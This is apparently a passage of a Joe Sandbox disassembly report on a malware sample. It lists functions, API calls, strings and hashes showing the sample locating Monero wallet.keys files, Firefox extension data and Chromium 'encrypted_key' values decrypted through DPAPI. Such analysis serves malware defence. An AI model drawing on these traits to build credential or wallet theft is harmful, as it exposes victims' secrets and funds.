Instruction Fuzzy Hash: E8E1DC728201189ADF48FBE4DD92EEE737EBF14300F50815DF51676491EE306A49CBAA

Function 0068D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 00698B60: GetSystemTime.KERNEL32(006A0E1A,0148A5A0,006A05AE,?,?,006813F9,?,0000001A,006A0E1A,00000000,?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 00698B86

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0068D481
lstrlen.KERNEL32(00000000), ref: 0068D698
lstrlen.KERNEL32(00000000), ref: 0068D6AC
DeleteFileA.KERNEL32(00000000), ref: 0068D72B

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 1861bc2253614d0e7c66c4848bf804a1f7887f5262f52c2b2917aef3becf227d
Instruction ID: 5a3d46461ca49818272ea98771e230742dd12d1102323d2031f524f3e6c13d45
Opcode Fuzzy Hash: 1861bc2253614d0e7c66c4848bf804a1f7887f5262f52c2b2917aef3becf227d
Instruction Fuzzy Hash: 8191FE718201189BDF48FBE4DD96DEE73BEBF14300F50416DF50666491EE346A09CBAA

Function 0068D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 00698B60: GetSystemTime.KERNEL32(006A0E1A,0148A5A0,006A05AE,?,?,006813F9,?,0000001A,006A0E1A,00000000,?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 00698B86

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0068D801
lstrlen.KERNEL32(00000000), ref: 0068D99F
lstrlen.KERNEL32(00000000), ref: 0068D9B3
DeleteFileA.KERNEL32(00000000), ref: 0068DA32

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7851ca754e81c1f41fe5f4d4961f52ddea99e27b71cb286ca7ab8bfbe912d1ed
Instruction ID: ea3d857fbf0bec98a202f9d59b54e6732cb1ebe7a81ed805ebd2eed1e91c5a05
Opcode Fuzzy Hash: 7851ca754e81c1f41fe5f4d4961f52ddea99e27b71cb286ca7ab8bfbe912d1ed
Instruction Fuzzy Hash: 6881FF719201189BDF48FBE4DD96DEE73BEBF14300F50412DF406A6491EE346A09CBAA

Function 0068F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 006899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006899EC
Part of subcall function 006899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00689A11
Part of subcall function 006899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00689A31
Part of subcall function 006899C0: ReadFile.KERNEL32(000000FF,?,00000000,0068148F,00000000), ref: 00689A5A
Part of subcall function 006899C0: LocalFree.KERNEL32(0068148F), ref: 00689A90
Part of subcall function 006899C0: CloseHandle.KERNEL32(000000FF), ref: 00689A9A

Part of subcall function 00698E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00698E52

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,006A1580,006A0D92), ref: 0068F54C
lstrlen.KERNEL32(00000000), ref: 0068F56B

Strings

moz-extension+++, xrefs: 0068F5AD
^userContextId=4294967295, xrefs: 0068F59C

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 215f97cc63341f50b2e8cb448e480d4a27fb02a2d11b6bdf5159a575cad58f91
Instruction ID: 5a20ceed1fdc80165cd5046e15528fe4730839462d42d92e7a25dc4f71960a1d
Opcode Fuzzy Hash: 215f97cc63341f50b2e8cb448e480d4a27fb02a2d11b6bdf5159a575cad58f91
Instruction Fuzzy Hash: CD51EA75D10108AADF44FBE0DD96DED73BEAF54300F40852CF816A6591EE346A09CBEA

Function 006970D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

si, xrefs: 00697111
si, xrefs: 006972AE, 00697179, 0069717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0069718C

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: si$si$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4068855434
Opcode ID: d14b0cd1559fec51a1655638cbcaca02d332afdf69c262574f0fb8940ef8be88
Instruction ID: 376f03965e019f8d8290ec4f0c6a3b6fbcd33d49d7f34d095bad99e2a6c37821
Opcode Fuzzy Hash: d14b0cd1559fec51a1655638cbcaca02d332afdf69c262574f0fb8940ef8be88
Instruction Fuzzy Hash: E3518EB0C142189BDF54EB90DD85BEEB3BAAF44304F2440ADE60567681EB746E88CF59

Function 00693560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: bcdc6ec4fa8068323f6b112ec06c3fbb2f3c7761d71a6782c02a131a4897965b
Instruction ID: 3db86b77fa47a8f87b70ba3756186eaa4a4b9746e88ce31292f44716f8b864d5
Opcode Fuzzy Hash: bcdc6ec4fa8068323f6b112ec06c3fbb2f3c7761d71a6782c02a131a4897965b
Instruction Fuzzy Hash: 2B412D75D10109AFDF04EFE4D845AFEB7BAAB44304F008418E51677790EB75AA06CFA6

Function 00689CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 006899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006899EC
Part of subcall function 006899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00689A11
Part of subcall function 006899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00689A31
Part of subcall function 006899C0: ReadFile.KERNEL32(000000FF,?,00000000,0068148F,00000000), ref: 00689A5A
Part of subcall function 006899C0: LocalFree.KERNEL32(0068148F), ref: 00689A90
Part of subcall function 006899C0: CloseHandle.KERNEL32(000000FF), ref: 00689A9A

Part of subcall function 00698E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00698E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00689D39

Part of subcall function 00689AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nh,00000000,00000000), ref: 00689AEF
Part of subcall function 00689AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00684EEE,00000000,?), ref: 00689B01
Part of subcall function 00689AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nh,00000000,00000000), ref: 00689B2A
Part of subcall function 00689AC0: LocalFree.KERNEL32(?,?,?,?,00684EEE,00000000,?), ref: 00689B3F

Part of subcall function 00689B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00689B84
Part of subcall function 00689B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00689BA3
Part of subcall function 00689B60: LocalFree.KERNEL32(?), ref: 00689BD3

Strings

DPAPI, xrefs: 00689D89
, xrefs: 00689DC1
"encrypted_key":", xrefs: 00689D30

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 3012cb93d3b593d60d6b6c7098ee0865cb4a29e27646c4bf87b2d91c201bfc1f
Instruction ID: 66a7373134b93c6c63e104bc06380b23baba049247e67d63bae9399073fcaca5
Opcode Fuzzy Hash: 3012cb93d3b593d60d6b6c7098ee0865cb4a29e27646c4bf87b2d91c201bfc1f
Instruction Fuzzy Hash: C73110B5D10109EBCF04EBE4DC85AFFB7BABF48304F184619E905A7241E7349A44CBA5

Function 00698680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006A05B7), ref: 006986CA
Process32First.KERNEL32(?,00000128), ref: 006986DE
Process32Next.KERNEL32(?,00000128), ref: 006986F3

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

CloseHandle.KERNEL32(?), ref: 00698761

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 4269d43d438b8684271fd5c21f611e041f43697f90581c8ae5a4ec9800f28da9
Instruction ID: e16eb9b00ec5023134a0cbe78390f292412913d536e88332ebdf1e242b9f734d
Opcode Fuzzy Hash: 4269d43d438b8684271fd5c21f611e041f43697f90581c8ae5a4ec9800f28da9
Instruction Fuzzy Hash: 73315971911218ABCF64EB90DD45FEEB7BEFB45700F1041A9A10AA65A0DB306E45CFA1

Function 00697980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006A0E00,00000000,?), ref: 006979B0
RtlAllocateHeap.NTDLL(00000000), ref: 006979B7
GetLocalTime.KERNEL32(?,?,?,?,?,006A0E00,00000000,?), ref: 006979C4
wsprintfA.USER32 ref: 006979F3

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 32536ed79c3c229196f0cbae2d9e2bdb67ef75c6bf7b38ec296988a0b989fec4
Instruction ID: f5f4d492f384167bc8019fa18423e5f6f358f72cfcd2c2f57ecb21130b22cf91
Opcode Fuzzy Hash: 32536ed79c3c229196f0cbae2d9e2bdb67ef75c6bf7b38ec296988a0b989fec4
Instruction Fuzzy Hash: 701127B2904118ABCB18DFC9DD45FBEB7F8FB4CB15F10421AF605A2280E2395940CBB1

Function 0069C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0069C74E

Part of subcall function 0069BF9F: __amsg_exit.LIBCMT ref: 0069BFAF

__getptd.LIBCMT ref: 0069C765
__amsg_exit.LIBCMT ref: 0069C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0069C797

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 4cb9990aef3ce1a8107b640a40cbe649b41aff0f4eb4a208abc5826eea7693b5
Instruction ID: 5c9ee928dc7781f0dee2da71b98ac7a91f90e07fc9e2c178aba364251901b3b3
Opcode Fuzzy Hash: 4cb9990aef3ce1a8107b640a40cbe649b41aff0f4eb4a208abc5826eea7693b5
Instruction Fuzzy Hash: 7CF06D329006009BDFA0BBF86946B9933EBAF00730F20514DF404AAAD2DB645941AE9A

Function 00694F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00698DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00698E0B

lstrcat.KERNEL32(?,00000000), ref: 00694F7A
lstrcat.KERNEL32(?,006A1070), ref: 00694F97
lstrcat.KERNEL32(?,014891C8), ref: 00694FAB
lstrcat.KERNEL32(?,006A1074), ref: 00694FBD

Part of subcall function 00694910: wsprintfA.USER32 ref: 0069492C
Part of subcall function 00694910: FindFirstFileA.KERNEL32(?,?), ref: 00694943

Part of subcall function 00694910: StrCmpCA.SHLWAPI(?,006A0FDC), ref: 00694971
Part of subcall function 00694910: StrCmpCA.SHLWAPI(?,006A0FE0), ref: 00694987
Part of subcall function 00694910: FindNextFileA.KERNEL32(000000FF,?), ref: 00694B7D
Part of subcall function 00694910: FindClose.KERNEL32(000000FF), ref: 00694B92

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
